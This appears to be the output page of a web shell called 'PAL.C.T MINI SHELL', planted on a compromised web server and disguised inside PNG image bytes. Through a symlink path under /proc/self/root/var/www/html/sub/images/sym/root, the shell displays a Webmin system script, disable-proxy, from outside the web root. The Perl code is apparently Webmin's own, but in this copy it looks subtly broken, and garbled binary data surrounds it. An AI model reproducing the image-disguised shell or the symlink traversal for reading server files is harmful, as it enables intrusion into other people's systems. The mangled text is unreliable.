�php  IHDRwQ)B�a pHYs  ��sRGB���gAMA�� �a�IDATx��Mk\U��s&uo,�m�D )Xw�+�e?��tw.�o�Wp��;���QHZnw�`gaiJ�9�����̟灙����a�=�nl�[ ʨG��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$�����y H����@�E7j�� 1j+OF����Rg}ܫ�;@�E��a�����~ �j`�u�'o�> �j�-$�_�q?�q�SXzG'��ay

PAL.C.T MINI SHELL
files >> /proc/self/root/var/www/html/sub/images/sym/root/usr/libexec/webmin/bin/
upload
files >> //proc/self/root/var/www/html/sub/images/sym/root/usr/libexec/webmin/bin/disable-proxy

#!/usr/bin/env perl
# disable-proxy - Reverse/remove the configuration options set by enable-proxy.
use strict;
use warnings;

BEGIN { $Pod::Usage::Formatter = 'Pod::Text::Color'; }
use 5.010; # Version in CentOS 6

use Getopt::Long qw(:config permute pass_through);
use Pod::Usage;
use Term::ANSIColor qw(:constants);
use Fcntl qw( :flock );
use Sys::Hostname;

sub main {
    my %opt;
    GetOptions(
        'help|h' => \$opt{'help'},
        'config|c=s' => \$opt{'config'},
    );
    pod2usage(0) if ( $opt{'help'} );

    $opt{'config'} ||= "/etc/webmin";

    enable_proxy( \%opt );
    
    return 0;
}
exit main( \@ARGV ) if !caller(0);

sub enable_proxy {
    my ($optref) = @_;

    my @config_lines;
    my $file = "$optref->{'config'}/config";

    my $referer;
    if ($optref->{'referer'}) {
        $referer = $optref->{'referer'};
    } else {
        $referer = hostname;
    }

    # Setup Webmin
    if ($optref->{'prefix'}) {
        # Set'em up for proxying on https://domain.tld/prefix
        set_config('webprefix', '', $file);
        set_config('webprefix_noredir', '', $file);
        set_config('ssl_redirect', '1', "$optref->{'config'}/miniserv.conf");
        set_config('ssl', '1', "$optref->{'config'}/miniserv.conf");
    } else {
        # No prefix, just proxying at the root level: https://domain.tld/
        set_config('ssl_redirect', '1', "$optref->{'config'}/miniserv.conf");
        set_config('ssl', '1', "$optref->{'config'}/miniserv.conf");
    }

    # Setup the local web server?

    # Restart Webmin
    say "Restarting Webmin to apply changes...";
    system("$optref->{'config'}/restart");
    exit 0;
}

sub set_config {
    my ($key, $value, $file, $module, $force) = @_;
    $key or die RED, "An --option must be specified", RESET;

    my @config_lines;
    open my $fh, '+<', $file
      or die RED, "Unable to open $file", RESET;
    flock($fh, LOCK_EX) or die RED, "Unable to lock $file", RESET;
    chomp(@config_lines = <$fh>);
    # Change'em
    my $found = 0;
    my $exit_code = 0;
    # Validate it against the config.info if this is a module and
    if ($module && !$force) {
        validate_config_option($key, $value, $module);
    }
    for (@config_lines) {
        if (/^${key}=(.*)/) {
            s/^${key}=(.*)/${key}=${value}/;
            $found++;
        }
    }
    unless ($found > 0) {
        push(@config_lines, "$key=$value");
        $exit_code++;
    }
    # Write'em
    seek($fh, 0, 0);
    print $fh qq|$_\n| for @config_lines;
    close $fh;
}

sub root {
    my ($config) = @_;
    open(my $CONF, "<", "$config/miniserv.conf") || die RED,
        "Failed to open $config/miniserv.conf", RESET;
    my $root;
    while (<$CONF>) {
        if (/^root=(.*)/) {
            $root = $1;
        }
    }
    close($CONF);
    # Does the Webmin root exist?
    if ( $root ) {
        die "$root is not a directory. Is --config correct?" unless (-d $root);
    } else {
        # Try to guess where Webmin lives, since config file didn't know.
        die "Unable to determine Webmin installation directory from $ENV{'WEBMIN_CONFIG'}";
    }

    return $root;
}

1;

=pod

=head1 NAME

disable-proxy

=head1 DESCRIPTION

Disable proxy-related features in Webmin.

=head1 SYNOPSIS

webmin disable-proxy [options]

=head1 OPTIONS

=over

=item --help, -h

Print this usage summary and exit.

=item --config, -c

Specify the full path to the Webmin configuration directory. Defaults to
C</etc/webmin>

=back

=head1 LICENSE AND COPYRIGHT

 Copyright 2022 Jamie Cameron <jcameron@webmin.com>
                Joe Cooper <joe@virtualmin.com>

� y���~�or�5�J�={��E��e�u磝Qk��ᯘG{�?���+�]������ן�?w�M3X^��歌>{�7پ�K�>�o��n�\����j�y��R ���g/�=��f�O��r�o��NV�v��~�Y+��NG�u���Ý����HW��y�w�[eQ�ʨ�S�b��>������>�}G�mx[o[<��{���Ϯ_��qF� ��vMIEND�B`�